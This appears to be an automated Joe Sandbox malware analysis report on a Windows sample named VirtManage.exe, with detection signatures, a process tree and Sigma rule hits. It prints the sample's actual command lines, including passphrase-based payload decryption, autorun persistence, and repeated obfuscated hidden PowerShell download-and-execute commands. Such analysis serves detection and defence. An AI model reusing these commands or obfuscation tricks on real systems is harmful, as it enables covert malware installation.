Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
VirtManage.exe

Overview

General Information

Sample name:VirtManage.exe
Analysis ID:1632487
MD5:b587a6af7fd86eeb42425913b8d73d47
SHA1:ad388fa1cc0bec1fc45b30a460c53c56789bb11d
SHA256:c600dd34854aa5c6c97ed8c1c92d28034d661652b4d892d223b6805a4e864622
Tags:exeFORTUNEPRINTCENTRELIMITEDuser-SquiblydooBlog
Infos:

Detection

Score:42
Range:0 - 100
Confidence:100%

Compliance

Score:33
Range:0 - 100

Signatures

Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
.NET source code contains a domain name check
Encrypted powershell cmdline option found
Loading BitLocker PowerShell Module
Obfuscated command line found
Sigma detected: Dot net compiler compiles file from suspicious location
Suspicious powershell command line found
Uses whoami command line tool to query computer and username
Adds / modifies Windows certificates
Checks for available system drives (often done to infect USB drives)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
EXE planting / hijacking vulnerabilities found
Enables debug privileges
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Remote Thread Creation By Uncommon Source Image
Sigma detected: Usage Of Web Request Commands And Cmdlets
Uses 32bit PE files
Uses 7zip to decompress a password protected archive
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • VirtManage.exe (PID: 3452 cmdline: "C:\Users\user\Desktop\VirtManage.exe" MD5: B587A6AF7FD86EEB42425913B8D73D47)
    • gpg.exe (PID: 5784 cmdline: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\tools.7z --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\5FILE.1A.gpg MD5: 2F5BFF434DC70BF6C2C24219F7EEA756)
      • conhost.exe (PID: 3056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • gpg.exe (PID: 5520 cmdline: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\7za.dll --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\1FILE.1A.gpg MD5: 2F5BFF434DC70BF6C2C24219F7EEA756)
      • conhost.exe (PID: 6960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • gpg.exe (PID: 2976 cmdline: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\7za.exe --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\2FILE.1A.gpg MD5: 2F5BFF434DC70BF6C2C24219F7EEA756)
      • conhost.exe (PID: 5804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • 7za.exe (PID: 5632 cmdline: C:\ProgramData\Microsoft\WindowsUpdate24\7za x C:\ProgramData\Microsoft\WindowsUpdate24\tools.7z -pJerx#sdqWE45 -oC:\ProgramData\Microsoft\WindowsUpdate24 MD5: C58A4193BAC738B1A88ACAD9C6A57356)
      • conhost.exe (PID: 2216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • msiexec.exe (PID: 3056 cmdline: msiexec.exe /i "C:\ProgramData\Microsoft\WindowsUpdate24\RVTools.msi" MD5: 9D09DC1EDA745A5F87553048E57620CF)
    • gpg.exe (PID: 5784 cmdline: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\Cert.txt --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\3FILE.1A.gpg MD5: 2F5BFF434DC70BF6C2C24219F7EEA756)
      • conhost.exe (PID: 7084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • w32tm.exe (PID: 6956 cmdline: w32tm /monitor /computers:ec2-52-14-160-176.us-east-2.compute.amazonaws.com MD5: E55B6A057FDDD35A7380FB2C6811A8EC)
      • conhost.exe (PID: 5704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • w32tm.exe (PID: 7208 cmdline: w32tm /monitor /computers:ec2-52-14-160-176.us-east-2.compute.amazonaws.com MD5: 81A82132737224D324A3E8DA993E2FB5)
    • gpg.exe (PID: 7288 cmdline: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\UpdateFull.7z --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\4FILE.1A.gpg MD5: 2F5BFF434DC70BF6C2C24219F7EEA756)
      • conhost.exe (PID: 7296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • 7za.exe (PID: 7352 cmdline: C:\ProgramData\Microsoft\WindowsUpdate24\7za x C:\ProgramData\Microsoft\WindowsUpdate24\UpdateFull.7z -pTG98HJerxsdqWE45 -oC:\ProgramData\Microsoft\WindowsUpdate24 MD5: C58A4193BAC738B1A88ACAD9C6A57356)
      • conhost.exe (PID: 7360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7960 cmdline: sc config msdtc start= demand MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)
      • conhost.exe (PID: 7968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 8012 cmdline: sc config msdtc obj= "LocalSystem" MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)
      • conhost.exe (PID: 8020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • oleview.exe (PID: 8164 cmdline: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exe MD5: ADB9B72679B88DDE1749E0A438222156)
      • powershell.exe (PID: 8184 cmdline: powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')" MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • csc.exe (PID: 1192 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)
          • cvtres.exe (PID: 7604 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESEA2F.tmp" "c:\Users\user\AppData\Local\Temp\r5i403kd\CSC384ED8B1DBB445E685393158270EAB0.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)
        • whoami.exe (PID: 6928 cmdline: "C:\Windows\system32\whoami.exe" MD5: A4A6924F3EAF97981323703D38FD99C4)
  • msiexec.exe (PID: 5668 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)
    • msiexec.exe (PID: 5608 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding B61671EC3A9141499D2D4B948D7A1ADD C MD5: 9D09DC1EDA745A5F87553048E57620CF)
      • WmiPrvSE.exe (PID: 8080 cmdline: C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding MD5: 64ACA4F48771A5BA50CD50F2410632AD)
  • oleview.exe (PID: 2444 cmdline: "C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exe" MD5: ADB9B72679B88DDE1749E0A438222156)
    • powershell.exe (PID: 6956 cmdline: powershell.exe -windowstyle Hidden -command "SI Variable:/gO $('C:\Pro'+'gramData\Mic'+'roso'+'ft\LogUp'+'dateWi'+'ndows\Wiaph'+'oh7um.t');Set-Item Variable:/fH 'Net.WebClient';dir ect*;SV BO (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where{(Get-ChildItem Variable:\_).Value.Name-like'*dl*ts'}).Name).Invoke('Ne*ct')(Variable fH -Value));SI Variable:2Rn ((((Get-ChildItem Variable:/BO).Value|GM)|Where{(Get-ChildItem Variable:\_).Value.Name-like'*nl*g'}).Name);Invoke-Command(($ExecutionContext|ForEach{(Get-ChildItem Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{(GCI Variable:\_).Value.NewScriptBlock((Get-ChildItem Variable:/BO).Value.((Item Variable:/2Rn).Value).Invoke((GI Variable:/gO).Value))}}))" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification
Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\VirtManage.exe, ProcessId: 3452, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\UpdateOleview
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Source: Process startedAuthor: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8184, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.cmdline", ProcessId: 1192, ProcessName: csc.exe
Sigma detected: Remote Thread Creation By Uncommon Source Image
Source: Threat createdAuthor: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\SysWOW64\msiexec.exe, SourceProcessId: 3056, StartAddress: 6C6E0090, TargetImage: C:\Windows\System32\conhost.exe, TargetProcessId: 3056
Sigma detected: Usage Of Web Request Commands And Cmdlets
Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')", CommandLine: powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exe, ParentImage: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exe, ParentProcessId: 8164, ParentProcessName: oleview.exe, ProcessCommandLine: powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')", ProcessId: 8184, ProcessName: powershell.exe
Sigma detected: Dynamic CSharp Compile Artefact
Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8184, TargetFilename: C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.cmdline
Sigma detected: Local Accounts Discovery
Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\system32\whoami.exe", CommandLine: "C:\Windows\system32\whoami.exe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\whoami.exe, NewProcessName: C:\Windows\System32\whoami.exe, OriginalFileName: C:\Windows\System32\whoami.exe, ParentCommandLine: powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8184, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\whoami.exe", ProcessId: 6928, ProcessName: whoami.exe
Sigma detected: Non Interactive PowerShell Process Spawned
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')", CommandLine: powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exe, ParentImage: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exe, ParentProcessId: 8164, ParentProcessName: oleview.exe, ProcessCommandLine: powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')", ProcessId: 8184, ProcessName: powershell.exe

Data Obfuscation

barindex
Sigma detected: Dot net compiler compiles file from suspicious location
Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8184, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.cmdline", ProcessId: 1192, ProcessName: csc.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus detection for dropped file
Source: C:\ProgramData\Microsoft\LogUpdateWindows\aclui.dllAvira: detection malicious, Label: TR/Redcap.dbiqq
Source: C:\ProgramData\Microsoft\WindowsUpdate24\aclui-2.dllAvira: detection malicious, Label: TR/Redcap.dbiqq
Multi AV Scanner detection for dropped file
Source: C:\ProgramData\Microsoft\LogUpdateWindows\aclui.dllReversingLabs: Detection: 66%
Source: C:\ProgramData\Microsoft\WindowsUpdate24\aclui-2.dllReversingLabs: Detection: 66%
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_00458059 gcry_free,gcry_cipher_close,gpgrt_log_debug,gpgrt_log_debug,gpgrt_log_debug,gcry_cipher_ctl,gcry_cipher_encrypt,gcry_cipher_gettag,gpg_strerror,gpgrt_log_error,2_2_00458059
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004561E6 gcry_cipher_get_algo_blklen,gcry_cipher_open,gcry_cipher_setkey,gcry_cipher_setiv,gcry_cipher_decrypt,gcry_cipher_ctl,2_2_004561E6
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_00464220 gcry_cipher_open,gcry_sexp_release,gcry_free,gcry_free,gcry_free,gcry_cipher_close,gcry_free,gcry_cipher_setkey,gcry_free,gcry_sexp_release,gcry_sexp_build,gcry_free,gcry_free,gpg_strerror,gpgrt_log_error,gpg_err_code_from_syserror,gcry_sexp_build_array,gcry_free,gpgrt_snprintf,gcry_sexp_build,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gpg_strerror,gpgrt_log_error,gcry_sexp_build,gcry_sexp_build,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gcry_free,gcry_malloc,gcry_cipher_encrypt,gcry_free,gcry_free,gcry_mpi_get_flag,gpg_strerror,_gpg_w32_gettext,gpgrt_log_error,gcry_mpi_get_flag,gcry_mpi_get_flag,gcry_mpi_get_flag,gcry_mpi_get_opaque,gpgrt_log_info,gpg_strerror,gpgrt_log_error,_gpg_w32_gettext,gpgrt_log_info,gpg_err_code_from_syserror,gcry_free,gcry_free,_gpg_w32_gettext,gpgrt_log_info,gpg_strerror,gpgrt_log_error,gpgrt_log,abort,gpg_err_code_from_syserror,2_2_00464220
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_00458420 gcry_malloc_secure,memcpy,gcry_cipher_open,gcry_cipher_close,gcry_free,gcry_free,gcry_malloc_secure,gcry_randomize,gcry_cipher_open,gcry_cipher_setkey,gcry_cipher_setiv,gcry_cipher_authenticate,memcpy,gcry_cipher_ctl,gcry_cipher_encrypt,gcry_cipher_gettag,gcry_calloc,gcry_cipher_setkey,gcry_cipher_setiv,gcry_cipher_encrypt,gpg_err_code_from_syserror,gpg_err_code_from_syserror,2_2_00458420
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004564E7 gcry_cipher_decrypt,gcry_cipher_ctl,2_2_004564E7
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0044E530 gcry_mpi_get_flag,gcry_malloc_secure,memcpy,gcry_cipher_encrypt,memset,gcry_cipher_close,gcry_mpi_set_opaque,gpgrt_log_printhex,gpg_strerror,gpgrt_log_error,gcry_free,gpgrt_log_error,gcry_cipher_close,gpgrt_log_printhex,gpg_err_code_from_syserror,gcry_free,gpg_strerror,gpgrt_log_error,gpg_err_code_from_syserror,gcry_cipher_close,2_2_0044E530
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0044E677 gcry_cipher_encrypt,memset,gcry_cipher_close,gcry_mpi_set_opaque,gpgrt_log_printhex,2_2_0044E677
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_00456631 gcry_md_write,gcry_free,gcry_md_get_algo_dlen,gcry_cipher_decrypt,gcry_md_write,gcry_md_ctl,2_2_00456631
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0044E920 gcry_mpi_get_flag,gcry_mpi_get_opaque,gcry_malloc_secure,memcpy,gcry_cipher_decrypt,gcry_cipher_close,gcry_mpi_scan,gcry_free,gpgrt_log_error,gcry_cipher_close,gpgrt_log_printhex,gpgrt_log_error,gcry_free,gcry_cipher_close,gpgrt_log_printhex,gpg_strerror,gpgrt_log_error,gcry_free,gpg_strerror,gpgrt_log_error,gpg_err_code_from_syserror,gcry_cipher_close,2_2_0044E920
